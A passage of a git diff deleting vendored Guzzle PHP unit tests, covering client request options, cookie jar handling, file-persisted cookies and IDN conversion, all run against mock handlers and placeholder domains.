self::assertFalse($mock->getLastRequest()->hasHeader('foo')); - } - - public function testRewriteExceptionsToHttpErrors() - { - $client = new Client(['handler' => new MockHandler([new Response(404)])]); - $res = $client->get('http://foo.com', ['exceptions' => false]); - self::assertSame(404, $res->getStatusCode()); - } - - public function testRewriteSaveToToSink() - { - $r = Psr7\stream_for(fopen('php://temp', 'r+')); - $mock = new MockHandler([new Response(200, [], 'foo')]); - $client = new Client(['handler' => $mock]); - $client->get('http://foo.com', ['save_to' => $r]); - self::assertSame($r, $mock->getLastOptions()['sink']); - } - - public function testAllowRedirectsCanBeTrue() - { - $mock = new MockHandler([new Response(200, [], 'foo')]); - $handler = HandlerStack::create($mock); - $client = new Client(['handler' => $handler]); - $client->get('http://foo.com', ['allow_redirects' => true]); - self::assertInternalType('array', $mock->getLastOptions()['allow_redirects']); - } - - /** - * @expectedException \InvalidArgumentException - * @expectedExceptionMessage allow_redirects must be true, false, or array - */ - public function testValidatesAllowRedirects() - { - $mock = new MockHandler([new Response(200, [], 'foo')]); - $handler = HandlerStack::create($mock); - $client = new Client(['handler' => $handler]); - $client->get('http://foo.com', ['allow_redirects' => 'foo']); - } - - /** - * @expectedException \GuzzleHttp\Exception\ClientException - */ - public function testThrowsHttpErrorsByDefault() - { - $mock = new MockHandler([new Response(404)]); - $handler = HandlerStack::create($mock); - $client = new Client(['handler' => $handler]); - $client->get('http://foo.com'); - } - - /** - * @expectedException \InvalidArgumentException - * @expectedExceptionMessage cookies must be an instance of GuzzleHttp\Cookie\CookieJarInterface - */ - public function testValidatesCookies() - { - $mock = new MockHandler([new Response(200, [], 'foo')]); - $handler = HandlerStack::create($mock); - $client = new Client(['handler' => $handler]); - $client->get('http://foo.com', ['cookies' => 'foo']); - } - - public function testSetCookieToTrueUsesSharedJar() - { - $mock = new MockHandler([ - new Response(200, ['Set-Cookie' => 'foo=bar']), - new Response() - ]); - $handler = HandlerStack::create($mock); - $client = new Client(['handler' => $handler, 'cookies' => true]); - $client->get('http://foo.com'); - $client->get('http://foo.com'); - self::assertSame('foo=bar', $mock->getLastRequest()->getHeaderLine('Cookie')); - } - - public function testSetCookieToJar() - { - $mock = new MockHandler([ - new Response(200, ['Set-Cookie' => 'foo=bar']), - new Response() - ]); - $handler = HandlerStack::create($mock); - $client = new Client(['handler' => $handler]); - $jar = new CookieJar(); - $client->get('http://foo.com', ['cookies' => $jar]); - $client->get('http://foo.com', ['cookies' => $jar]); - self::assertSame('foo=bar', $mock->getLastRequest()->getHeaderLine('Cookie')); - } - - public function testCanDisableContentDecoding() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->get('http://foo.com', ['decode_content' => false]); - $last = $mock->getLastRequest(); - self::assertFalse($last->hasHeader('Accept-Encoding')); - self::assertFalse($mock->getLastOptions()['decode_content']); - } - - public function testCanSetContentDecodingToValue() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->get('http://foo.com', ['decode_content' => 'gzip']); - $last = $mock->getLastRequest(); - self::assertSame('gzip', $last->getHeaderLine('Accept-Encoding')); - self::assertSame('gzip', $mock->getLastOptions()['decode_content']); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testValidatesHeaders() - { - $mock = new MockHandler(); - $client = new Client(['handler' => $mock]); - $client->get('http://foo.com', ['headers' => 'foo']); - } - - public function testAddsBody() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $request = new Request('PUT', 'http://foo.com'); - $client->send($request, ['body' => 'foo']); - $last = $mock->getLastRequest(); - self::assertSame('foo', (string) $last->getBody()); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testValidatesQuery() - { - $mock = new MockHandler(); - $client = new Client(['handler' => $mock]); - $request = new Request('PUT', 'http://foo.com'); - $client->send($request, ['query' => false]); - } - - public function testQueryCanBeString() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $request = new Request('PUT', 'http://foo.com'); - $client->send($request, ['query' => 'foo']); - self::assertSame('foo', $mock->getLastRequest()->getUri()->getQuery()); - } - - public function testQueryCanBeArray() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $request = new Request('PUT', 'http://foo.com'); - $client->send($request, ['query' => ['foo' => 'bar baz']]); - self::assertSame('foo=bar%20baz', $mock->getLastRequest()->getUri()->getQuery()); - } - - public function testCanAddJsonData() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $request = new Request('PUT', 'http://foo.com'); - $client->send($request, ['json' => ['foo' => 'bar']]); - $last = $mock->getLastRequest(); - self::assertSame('{"foo":"bar"}', (string) $mock->getLastRequest()->getBody()); - self::assertSame('application/json', $last->getHeaderLine('Content-Type')); - } - - public function testCanAddJsonDataWithoutOverwritingContentType() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $request = new Request('PUT', 'http://foo.com'); - $client->send($request, [ - 'headers' => ['content-type' => 'foo'], - 'json' => 'a' - ]); - $last = $mock->getLastRequest(); - self::assertSame('"a"', (string) $mock->getLastRequest()->getBody()); - self::assertSame('foo', $last->getHeaderLine('Content-Type')); - } - - public function testCanAddJsonDataWithNullHeader() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $request = new Request('PUT', 'http://foo.com'); - $client->send($request, [ - 'headers' => null, - 'json' => 'a' - ]); - $last = $mock->getLastRequest(); - self::assertSame('"a"', (string) $mock->getLastRequest()->getBody()); - self::assertSame('application/json', $last->getHeaderLine('Content-Type')); - } - - public function testAuthCanBeTrue() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->get('http://foo.com', ['auth' => false]); - $last = $mock->getLastRequest(); - self::assertFalse($last->hasHeader('Authorization')); - } - - public function testAuthCanBeArrayForBasicAuth() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->get('http://foo.com', ['auth' => ['a', 'b']]); - $last = $mock->getLastRequest(); - self::assertSame('Basic YTpi', $last->getHeaderLine('Authorization')); - } - - public function testAuthCanBeArrayForDigestAuth() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->get('http://foo.com', ['auth' => ['a', 'b', 'digest']]); - $last = $mock->getLastOptions(); - self::assertSame([ - CURLOPT_HTTPAUTH => 2, - CURLOPT_USERPWD => 'a:b' - ], $last['curl']); - } - - public function testAuthCanBeArrayForNtlmAuth() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->get('http://foo.com', ['auth' => ['a', 'b', 'ntlm']]); - $last = $mock->getLastOptions(); - self::assertSame([ - CURLOPT_HTTPAUTH => 8, - CURLOPT_USERPWD => 'a:b' - ], $last['curl']); - } - - public function testAuthCanBeCustomType() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->get('http://foo.com', ['auth' => 'foo']); - $last = $mock->getLastOptions(); - self::assertSame('foo', $last['auth']); - } - - public function testCanAddFormParams() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->post('http://foo.com', [ - 'form_params' => [ - 'foo' => 'bar bam', - 'baz' => ['boo' => 'qux'] - ] - ]); - $last = $mock->getLastRequest(); - self::assertSame( - 'application/x-www-form-urlencoded', - $last->getHeaderLine('Content-Type') - ); - self::assertSame( - 'foo=bar+bam&baz%5Bboo%5D=qux', - (string) $last->getBody() - ); - } - - public function testFormParamsEncodedProperly() - { - $separator = ini_get('arg_separator.output'); - ini_set('arg_separator.output', '&'); - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->post('http://foo.com', [ - 'form_params' => [ - 'foo' => 'bar bam', - 'baz' => ['boo' => 'qux'] - ] - ]); - $last = $mock->getLastRequest(); - self::assertSame( - 'foo=bar+bam&baz%5Bboo%5D=qux', - (string) $last->getBody() - ); - - ini_set('arg_separator.output', $separator); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testEnsuresThatFormParamsAndMultipartAreExclusive() - { - $client = new Client(['handler' => function () { - }]); - $client->post('http://foo.com', [ - 'form_params' => ['foo' => 'bar bam'], - 'multipart' => [] - ]); - } - - public function testCanSendMultipart() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->post('http://foo.com', [ - 'multipart' => [ - [ - 'name' => 'foo', - 'contents' => 'bar' - ], - [ - 'name' => 'test', - 'contents' => fopen(__FILE__, 'r') - ] - ] - ]); - - $last = $mock->getLastRequest(); - self::assertContains( - 'multipart/form-data; boundary=', - $last->getHeaderLine('Content-Type') - ); - - self::assertContains( - 'Content-Disposition: form-data; name="foo"', - (string) $last->getBody() - ); - - self::assertContains('bar', (string) $last->getBody()); - self::assertContains( - 'Content-Disposition: form-data; name="foo"' . "\r\n", - (string) $last->getBody() - ); - self::assertContains( - 'Content-Disposition: form-data; name="test"; filename="ClientTest.php"', - (string) $last->getBody() - ); - } - - public function testCanSendMultipartWithExplicitBody() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->send( - new Request( - 'POST', - 'http://foo.com', - [], - new Psr7\MultipartStream( - [ - [ - 'name' => 'foo', - 'contents' => 'bar', - ], - [ - 'name' => 'test', - 'contents' => fopen(__FILE__, 'r'), - ], - ] - ) - ) - ); - - $last = $mock->getLastRequest(); - self::assertContains( - 'multipart/form-data; boundary=', - $last->getHeaderLine('Content-Type') - ); - - self::assertContains( - 'Content-Disposition: form-data; name="foo"', - (string) $last->getBody() - ); - - self::assertContains('bar', (string) $last->getBody()); - self::assertContains( - 'Content-Disposition: form-data; name="foo"' . "\r\n", - (string) $last->getBody() - ); - self::assertContains( - 'Content-Disposition: form-data; name="test"; filename="ClientTest.php"', - (string) $last->getBody() - ); - } - - public function testUsesProxyEnvironmentVariables() - { - $http = getenv('HTTP_PROXY'); - $https = getenv('HTTPS_PROXY'); - $no = getenv('NO_PROXY'); - $client = new Client(); - self::assertNull($client->getConfig('proxy')); - putenv('HTTP_PROXY=127.0.0.1'); - $client = new Client(); - self::assertSame( - ['http' => '127.0.0.1'], - $client->getConfig('proxy') - ); - putenv('HTTPS_PROXY=127.0.0.2'); - putenv('NO_PROXY=127.0.0.3, 127.0.0.4'); - $client = new Client(); - self::assertSame( - ['http' => '127.0.0.1', 'https' => '127.0.0.2', 'no' => ['127.0.0.3','127.0.0.4']], - $client->getConfig('proxy') - ); - putenv("HTTP_PROXY=$http"); - putenv("HTTPS_PROXY=$https"); - putenv("NO_PROXY=$no"); - } - - public function testRequestSendsWithSync() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->request('GET', 'http://foo.com'); - self::assertTrue($mock->getLastOptions()['synchronous']); - } - - public function testSendSendsWithSync() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $client->send(new Request('GET', 'http://foo.com')); - self::assertTrue($mock->getLastOptions()['synchronous']); - } - - public function testCanSetCustomHandler() - { - $mock = new MockHandler([new Response(500)]); - $client = new Client(['handler' => $mock]); - $mock2 = new MockHandler([new Response(200)]); - self::assertSame( - 200, - $client->send(new Request('GET', 'http://foo.com'), [ - 'handler' => $mock2 - ])->getStatusCode() - ); - } - - public function testProperlyBuildsQuery() - { - $mock = new MockHandler([new Response()]); - $client = new Client(['handler' => $mock]); - $request = new Request('PUT', 'http://foo.com'); - $client->send($request, ['query' => ['foo' => 'bar', 'john' => 'doe']]); - self::assertSame('foo=bar&john=doe', $mock->getLastRequest()->getUri()->getQuery()); - } - - public function testSendSendsWithIpAddressAndPortAndHostHeaderInRequestTheHostShouldBePreserved() - { - $mockHandler = new MockHandler([new Response()]); - $client = new Client(['base_uri' => 'http://127.0.0.1:8585', 'handler' => $mockHandler]); - $request = new Request('GET', '/test', ['Host'=>'foo.com']); - - $client->send($request); - - self::assertSame('foo.com', $mockHandler->getLastRequest()->getHeader('Host')[0]); - } - - public function testSendSendsWithDomainAndHostHeaderInRequestTheHostShouldBePreserved() - { - $mockHandler = new MockHandler([new Response()]); - $client = new Client(['base_uri' => 'http://foo2.com', 'handler' => $mockHandler]); - $request = new Request('GET', '/test', ['Host'=>'foo.com']); - - $client->send($request); - - self::assertSame('foo.com', $mockHandler->getLastRequest()->getHeader('Host')[0]); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testValidatesSink() - { - $mockHandler = new MockHandler([new Response()]); - $client = new Client(['handler' => $mockHandler]); - $client->get('http://test.com', ['sink' => true]); - } - - public function testHttpDefaultSchemeIfUriHasNone() - { - $mockHandler = new MockHandler([new Response()]); - $client = new Client(['handler' => $mockHandler]); - - $client->request('GET', '//example.org/test'); - - self::assertSame('http://example.org/test', (string) $mockHandler->getLastRequest()->getUri()); - } - - public function testOnlyAddSchemeWhenHostIsPresent() - { - $mockHandler = new MockHandler([new Response()]); - $client = new Client(['handler' => $mockHandler]); - - $client->request('GET', 'baz'); - self::assertSame( - 'baz', - (string) $mockHandler->getLastRequest()->getUri() - ); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testHandlerIsCallable() - { - new Client(['handler' => 'not_cllable']); - } - - public function testResponseBodyAsString() - { - $responseBody = '{ "package": "guzzle" }'; - $mock = new MockHandler([new Response(200, ['Content-Type' => 'application/json'], $responseBody)]); - $client = new Client(['handler' => $mock]); - $request = new Request('GET', 'http://foo.com'); - $response = $client->send($request, ['json' => ['a' => 'b']]); - - self::assertSame($responseBody, (string) $response->getBody()); - } - - public function testResponseContent() - { - $responseBody = '{ "package": "guzzle" }'; - $mock = new MockHandler([new Response(200, ['Content-Type' => 'application/json'], $responseBody)]); - $client = new Client(['handler' => $mock]); - $request = new Request('POST', 'http://foo.com'); - $response = $client->send($request, ['json' => ['a' => 'b']]); - - self::assertSame($responseBody, $response->getBody()->getContents()); - } - - public function testIdnSupportDefaultValue() - { - $mockHandler = new MockHandler([new Response()]); - $client = new Client(['handler' => $mockHandler]); - - $config = $client->getConfig(); - - self::assertTrue($config['idn_conversion']); - } - - public function testIdnIsTranslatedToAsciiWhenConversionIsEnabled() - { - $mockHandler = new MockHandler([new Response()]); - $client = new Client(['handler' => $mockHandler]); - - $client->request('GET', 'https://яндекс.рф/images', ['idn_conversion' => true]); - - $request = $mockHandler->getLastRequest(); - - self::assertSame('https://xn--d1acpjx3f.xn--p1ai/images', (string) $request->getUri()); - self::assertSame('xn--d1acpjx3f.xn--p1ai', (string) $request->getHeaderLine('Host')); - } - - public function testIdnStaysTheSameWhenConversionIsDisabled() - { - $mockHandler = new MockHandler([new Response()]); - $client = new Client(['handler' => $mockHandler]); - - $client->request('GET', 'https://яндекс.рф/images', ['idn_conversion' => false]); - - $request = $mockHandler->getLastRequest(); - - self::assertSame('https://яндекс.рф/images', (string) $request->getUri()); - self::assertSame('яндекс.рф', (string) $request->getHeaderLine('Host')); - } - - /** - * @expectedException \GuzzleHttp\Exception\InvalidArgumentException - * @expectedExceptionMessage IDN conversion failed (errors: IDNA_ERROR_LEADING_HYPHEN) - */ - public function testExceptionOnInvalidIdn() - { - $mockHandler = new MockHandler([new Response()]); - $client = new Client(['handler' => $mockHandler]); - - $client->request('GET', 'https://-яндекс.рф/images', ['idn_conversion' => true]); - } - - /** - * @depends testCanUseRelativeUriWithSend - * @depends testIdnSupportDefaultValue - */ - public function testIdnBaseUri() - { - $mock = new MockHandler([new Response()]); - $client = new Client([ - 'handler' => $mock, - 'base_uri' => 'http://яндекс.рф', - ]); - self::assertSame('http://яндекс.рф', (string) $client->getConfig('base_uri')); - $request = new Request('GET', '/baz'); - $client->send($request); - self::assertSame('http://xn--d1acpjx3f.xn--p1ai/baz', (string) $mock->getLastRequest()->getUri()); - self::assertSame('xn--d1acpjx3f.xn--p1ai', (string) $mock->getLastRequest()->getHeaderLine('Host')); - } - - public function testIdnWithRedirect() - { - $mockHandler = new MockHandler([ - new Response(302, ['Location' => 'http://www.tést.com/whatever']), - new Response() - ]); - $handler = HandlerStack::create($mockHandler); - $requests = []; - $handler->push(Middleware::history($requests)); - $client = new Client(['handler' => $handler]); - - $client->request('GET', 'https://яндекс.рф/images', [ - RequestOptions::ALLOW_REDIRECTS => [ - 'referer' => true, - 'track_redirects' => true - ], - 'idn_conversion' => true - ]); - - $request = $mockHandler->getLastRequest(); - - self::assertSame('http://www.xn--tst-bma.com/whatever', (string) $request->getUri()); - self::assertSame('www.xn--tst-bma.com', (string) $request->getHeaderLine('Host')); - - $request = $requests[0]['request']; - self::assertSame('https://xn--d1acpjx3f.xn--p1ai/images', (string) $request->getUri()); - self::assertSame('xn--d1acpjx3f.xn--p1ai', (string) $request->getHeaderLine('Host')); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Cookie/CookieJarTest.php b/vendor/guzzlehttp/guzzle/tests/Cookie/CookieJarTest.php deleted file mode 100644 index 0c6080916f..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Cookie/CookieJarTest.php +++ /dev/null @@ -1,420 +0,0 @@ -jar = new CookieJar(); - } - - protected function getTestCookies() - { - return [ - new SetCookie(['Name' => 'foo', 'Value' => 'bar', 'Domain' => 'foo.com', 'Path' => '/', 'Discard' => true]), - new SetCookie(['Name' => 'test', 'Value' => '123', 'Domain' => 'baz.com', 'Path' => '/foo', 'Expires' => 2]), - new SetCookie(['Name' => 'you', 'Value' => '123', 'Domain' => 'bar.com', 'Path' => '/boo', 'Expires' => time() + 1000]) - ]; - } - - public function testCreatesFromArray() - { - $jar = CookieJar::fromArray([ - 'foo' => 'bar', - 'baz' => 'bam' - ], 'example.com'); - self::assertCount(2, $jar); - } - - public function testEmptyJarIsCountable() - { - self::assertCount(0, new CookieJar()); - } - - public function testGetsCookiesByName() - { - $cookies = $this->getTestCookies(); - foreach ($this->getTestCookies() as $cookie) { - $this->jar->setCookie($cookie); - } - - $testCookie = $cookies[0]; - self::assertEquals($testCookie, $this->jar->getCookieByName($testCookie->getName())); - self::assertNull($this->jar->getCookieByName("doesnotexist")); - self::assertNull($this->jar->getCookieByName("")); - } - - /** - * Provides test data for cookie cookieJar retrieval - */ - public function getCookiesDataProvider() - { - return [ - [['foo', 'baz', 'test', 'muppet', 'googoo'], '', '', '', false], - [['foo', 'baz', 'muppet', 'googoo'], '', '', '', true], - [['googoo'], 'www.example.com', '', '', false], - [['muppet', 'googoo'], 'test.y.example.com', '', '', false], - [['foo', 'baz'], 'example.com', '', '', false], - [['muppet'], 'x.y.example.com', '/acme/', '', false], - [['muppet'], 'x.y.example.com', '/acme/test/', '', false], - [['googoo'], 'x.y.example.com', '/test/acme/test/', '', false], - [['foo', 'baz'], 'example.com', '', '', false], - [['baz'], 'example.com', '', 'baz', false], - ]; - } - - public function testStoresAndRetrievesCookies() - { - $cookies = $this->getTestCookies(); - foreach ($cookies as $cookie) { - self::assertTrue($this->jar->setCookie($cookie)); - } - - self::assertCount(3, $this->jar); - self::assertCount(3, $this->jar->getIterator()); - self::assertEquals($cookies, $this->jar->getIterator()->getArrayCopy()); - } - - public function testRemovesTemporaryCookies() - { - $cookies = $this->getTestCookies(); - foreach ($this->getTestCookies() as $cookie) { - $this->jar->setCookie($cookie); - } - $this->jar->clearSessionCookies(); - self::assertEquals( - [$cookies[1], $cookies[2]], - $this->jar->getIterator()->getArrayCopy() - ); - } - - public function testRemovesSelectively() - { - foreach ($this->getTestCookies() as $cookie) { - $this->jar->setCookie($cookie); - } - - // Remove foo.com cookies - $this->jar->clear('foo.com'); - self::assertCount(2, $this->jar); - // Try again, removing no further cookies - $this->jar->clear('foo.com'); - self::assertCount(2, $this->jar); - - // Remove bar.com cookies with path of /boo - $this->jar->clear('bar.com', '/boo'); - self::assertCount(1, $this->jar); - - // Remove cookie by name - $this->jar->clear(null, null, 'test'); - self::assertCount(0, $this->jar); - } - - public function testDoesNotAddIncompleteCookies() - { - self::assertFalse($this->jar->setCookie(new SetCookie())); - self::assertFalse($this->jar->setCookie(new SetCookie([ - 'Name' => 'foo' - ]))); - self::assertFalse($this->jar->setCookie(new SetCookie([ - 'Name' => false - ]))); - self::assertFalse($this->jar->setCookie(new SetCookie([ - 'Name' => true - ]))); - self::assertFalse($this->jar->setCookie(new SetCookie([ - 'Name' => 'foo', - 'Domain' => 'foo.com' - ]))); - } - - public function testDoesNotAddEmptyCookies() - { - self::assertFalse($this->jar->setCookie(new SetCookie([ - 'Name' => '', - 'Domain' => 'foo.com', - 'Value' => 0 - ]))); - } - - public function testDoesAddValidCookies() - { - self::assertTrue($this->jar->setCookie(new SetCookie([ - 'Name' => '0', - 'Domain' => 'foo.com', - 'Value' => 0 - ]))); - self::assertTrue($this->jar->setCookie(new SetCookie([ - 'Name' => 'foo', - 'Domain' => 'foo.com', - 'Value' => 0 - ]))); - self::assertTrue($this->jar->setCookie(new SetCookie([ - 'Name' => 'foo', - 'Domain' => 'foo.com', - 'Value' => 0.0 - ]))); - self::assertTrue($this->jar->setCookie(new SetCookie([ - 'Name' => 'foo', - 'Domain' => 'foo.com', - 'Value' => '0' - ]))); - } - - public function testOverwritesCookiesThatAreOlderOrDiscardable() - { - $t = time() + 1000; - $data = [ - 'Name' => 'foo', - 'Value' => 'bar', - 'Domain' => '.example.com', - 'Path' => '/', - 'Max-Age' => '86400', - 'Secure' => true, - 'Discard' => true, - 'Expires' => $t - ]; - - // Make sure that the discard cookie is overridden with the non-discard - self::assertTrue($this->jar->setCookie(new SetCookie($data))); - self::assertCount(1, $this->jar); - - $data['Discard'] = false; - self::assertTrue($this->jar->setCookie(new SetCookie($data))); - self::assertCount(1, $this->jar); - - $c = $this->jar->getIterator()->getArrayCopy(); - self::assertFalse($c[0]->getDiscard()); - - // Make sure it doesn't duplicate the cookie - $this->jar->setCookie(new SetCookie($data)); - self::assertCount(1, $this->jar); - - // Make sure the more future-ful expiration date supersede the other - $data['Expires'] = time() + 2000; - self::assertTrue($this->jar->setCookie(new SetCookie($data))); - self::assertCount(1, $this->jar); - $c = $this->jar->getIterator()->getArrayCopy(); - self::assertNotEquals($t, $c[0]->getExpires()); - } - - public function testOverwritesCookiesThatHaveChanged() - { - $t = time() + 1000; - $data = [ - 'Name' => 'foo', - 'Value' => 'bar', - 'Domain' => '.example.com', - 'Path' => '/', - 'Max-Age' => '86400', - 'Secure' => true, - 'Discard' => true, - 'Expires' => $t - ]; - - // Make sure that the discard cookie is overridden with the non-discard - self::assertTrue($this->jar->setCookie(new SetCookie($data))); - - $data['Value'] = 'boo'; - self::assertTrue($this->jar->setCookie(new SetCookie($data))); - self::assertCount(1, $this->jar); - - // Changing the value plus a parameter also must overwrite the existing one - $data['Value'] = 'zoo'; - $data['Secure'] = false; - self::assertTrue($this->jar->setCookie(new SetCookie($data))); - self::assertCount(1, $this->jar); - - $c = $this->jar->getIterator()->getArrayCopy(); - self::assertSame('zoo', $c[0]->getValue()); - } - - public function testAddsCookiesFromResponseWithRequest() - { - $response = new Response(200, [ - 'Set-Cookie' => "fpc=d=.Hm.yh4.1XmJWjJfs4orLQzKzPImxklQoxXSHOZATHUSEFciRueW_7704iYUtsXNEXq0M92Px2glMdWypmJ7HIQl6XIUvrZimWjQ3vIdeuRbI.FNQMAfcxu_XN1zSx7l.AcPdKL6guHc2V7hIQFhnjRW0rxm2oHY1P4bGQxFNz7f.tHm12ZD3DbdMDiDy7TBXsuP4DM-&v=2; expires=Fri, 02-Mar-2019 02:17:40 GMT;" - ]); - $request = new Request('GET', 'http://www.example.com'); - $this->jar->extractCookies($request, $response); - self::assertCount(1, $this->jar); - } - - public function getMatchingCookiesDataProvider() - { - return [ - ['https://example.com', 'foo=bar; baz=foobar'], - ['http://example.com', ''], - ['https://example.com:8912', 'foo=bar; baz=foobar'], - ['https://foo.example.com', 'foo=bar; baz=foobar'], - ['http://foo.example.com/test/acme/', 'googoo=gaga'] - ]; - } - - /** - * @dataProvider getMatchingCookiesDataProvider - */ - public function testReturnsCookiesMatchingRequests($url, $cookies) - { - $bag = [ - new SetCookie([ - 'Name' => 'foo', - 'Value' => 'bar', - 'Domain' => 'example.com', - 'Path' => '/', - 'Max-Age' => '86400', - 'Secure' => true - ]), - new SetCookie([ - 'Name' => 'baz', - 'Value' => 'foobar', - 'Domain' => 'example.com', - 'Path' => '/', - 'Max-Age' => '86400', - 'Secure' => true - ]), - new SetCookie([ - 'Name' => 'test', - 'Value' => '123', - 'Domain' => 'www.foobar.com', - 'Path' => '/path/', - 'Discard' => true - ]), - new SetCookie([ - 'Name' => 'muppet', - 'Value' => 'cookie_monster', - 'Domain' => '.y.example.com', - 'Path' => '/acme/', - 'Expires' => time() + 86400 - ]), - new SetCookie([ - 'Name' => 'googoo', - 'Value' => 'gaga', - 'Domain' => '.example.com', - 'Path' => '/test/acme/', - 'Max-Age' => 1500 - ]) - ]; - - foreach ($bag as $cookie) { - $this->jar->setCookie($cookie); - } - - $request = new Request('GET', $url); - $request = $this->jar->withCookieHeader($request); - self::assertSame($cookies, $request->getHeaderLine('Cookie')); - } - - /** - * @expectedException \RuntimeException - * @expectedExceptionMessage Invalid cookie: Cookie name must not contain invalid characters: ASCII Control characters (0-31;127), space, tab and the following characters: ()<>@,;:\"/?={} - */ - public function testThrowsExceptionWithStrictMode() - { - $a = new CookieJar(true); - $a->setCookie(new SetCookie(['Name' => "abc\n", 'Value' => 'foo', 'Domain' => 'bar'])); - } - - public function testDeletesCookiesByName() - { - $cookies = $this->getTestCookies(); - $cookies[] = new SetCookie([ - 'Name' => 'other', - 'Value' => '123', - 'Domain' => 'bar.com', - 'Path' => '/boo', - 'Expires' => time() + 1000 - ]); - $jar = new CookieJar(); - foreach ($cookies as $cookie) { - $jar->setCookie($cookie); - } - self::assertCount(4, $jar); - $jar->clear('bar.com', '/boo', 'other'); - self::assertCount(3, $jar); - $names = array_map(function (SetCookie $c) { - return $c->getName(); - }, $jar->getIterator()->getArrayCopy()); - self::assertSame(['foo', 'test', 'you'], $names); - } - - public function testCanConvertToAndLoadFromArray() - { - $jar = new CookieJar(true); - foreach ($this->getTestCookies() as $cookie) { - $jar->setCookie($cookie); - } - self::assertCount(3, $jar); - $arr = $jar->toArray(); - self::assertCount(3, $arr); - $newCookieJar = new CookieJar(false, $arr); - self::assertCount(3, $newCookieJar); - self::assertSame($jar->toArray(), $newCookieJar->toArray()); - } - - public function testAddsCookiesWithEmptyPathFromResponse() - { - $response = new Response(200, [ - 'Set-Cookie' => "fpc=foobar; expires={$this->futureExpirationDate()}; path=;" - ]); - $request = new Request('GET', 'http://www.example.com'); - $this->jar->extractCookies($request, $response); - $newRequest = $this->jar->withCookieHeader(new Request('GET', 'http://www.example.com/foo')); - self::assertTrue($newRequest->hasHeader('Cookie')); - } - - public function getCookiePathsDataProvider() - { - return [ - ['', '/'], - ['/', '/'], - ['/foo', '/'], - ['/foo/bar', '/foo'], - ['/foo/bar/', '/foo/bar'], - ['foo', '/'], - ['foo/bar', '/'], - ['foo/bar/', '/'], - ]; - } - - /** - * @dataProvider getCookiePathsDataProvider - */ - public function testCookiePathWithEmptySetCookiePath($uriPath, $cookiePath) - { - $response = (new Response(200)) - ->withAddedHeader( - 'Set-Cookie', - "foo=bar; expires={$this->futureExpirationDate()}; domain=www.example.com; path=;" - ) - ->withAddedHeader( - 'Set-Cookie', - "bar=foo; expires={$this->futureExpirationDate()}; domain=www.example.com; path=foobar;" - ) - ; - $request = (new Request('GET', $uriPath))->withHeader('Host', 'www.example.com'); - $this->jar->extractCookies($request, $response); - - self::assertSame($cookiePath, $this->jar->toArray()[0]['Path']); - self::assertSame($cookiePath, $this->jar->toArray()[1]['Path']); - } - - private function futureExpirationDate() - { - return (new DateTimeImmutable)->add(new DateInterval('P1D'))->format(DateTime::COOKIE); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Cookie/FileCookieJarTest.php b/vendor/guzzlehttp/guzzle/tests/Cookie/FileCookieJarTest.php deleted file mode 100644 index 32c61a495c..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Cookie/FileCookieJarTest.php +++ /dev/null @@ -1,88 +0,0 @@ -file = tempnam('/tmp', 'file-cookies'); - } - - /** - * @expectedException \RuntimeException - */ - public function testValidatesCookieFile() - { - file_put_contents($this->file, 'true'); - new FileCookieJar($this->file); - } - - public function testLoadsFromFile() - { - $jar = new FileCookieJar($this->file); - self::assertSame([], $jar->getIterator()->getArrayCopy()); - unlink($this->file); - } - - /** - * @dataProvider providerPersistsToFileFileParameters - */ - public function testPersistsToFile($testSaveSessionCookie = false) - { - $jar = new FileCookieJar($this->file, $testSaveSessionCookie); - $jar->setCookie(new SetCookie([ - 'Name' => 'foo', - 'Value' => 'bar', - 'Domain' => 'foo.com', - 'Expires' => time() + 1000 - ])); - $jar->setCookie(new SetCookie([ - 'Name' => 'baz', - 'Value' => 'bar', - 'Domain' => 'foo.com', - 'Expires' => time() + 1000 - ])); - $jar->setCookie(new SetCookie([ - 'Name' => 'boo', - 'Value' => 'bar', - 'Domain' => 'foo.com', - ])); - - self::assertCount(3, $jar); - unset($jar); - - // Make sure it wrote to the file - $contents = file_get_contents($this->file); - self::assertNotEmpty($contents); - - // Load the cookieJar from the file - $jar = new FileCookieJar($this->file); - - if ($testSaveSessionCookie) { - self::assertCount(3, $jar); - } else { - // Weeds out temporary and session cookies - self::assertCount(2, $jar); - } - - unset($jar); - unlink($this->file); - } - - public function providerPersistsToFileFileParameters() - { - return [ - [false], - [true] - ]; - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Cookie/SessionCookieJarTest.php b/vendor/guzzlehttp/guzzle/tests/Cookie/SessionCookieJarTest.php deleted file mode 100644 index 5bbb09673c..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Cookie/SessionCookieJarTest.php +++ /dev/null @@ -1,92 +0,0 @@ -sessionVar = 'sessionKey'; - - if 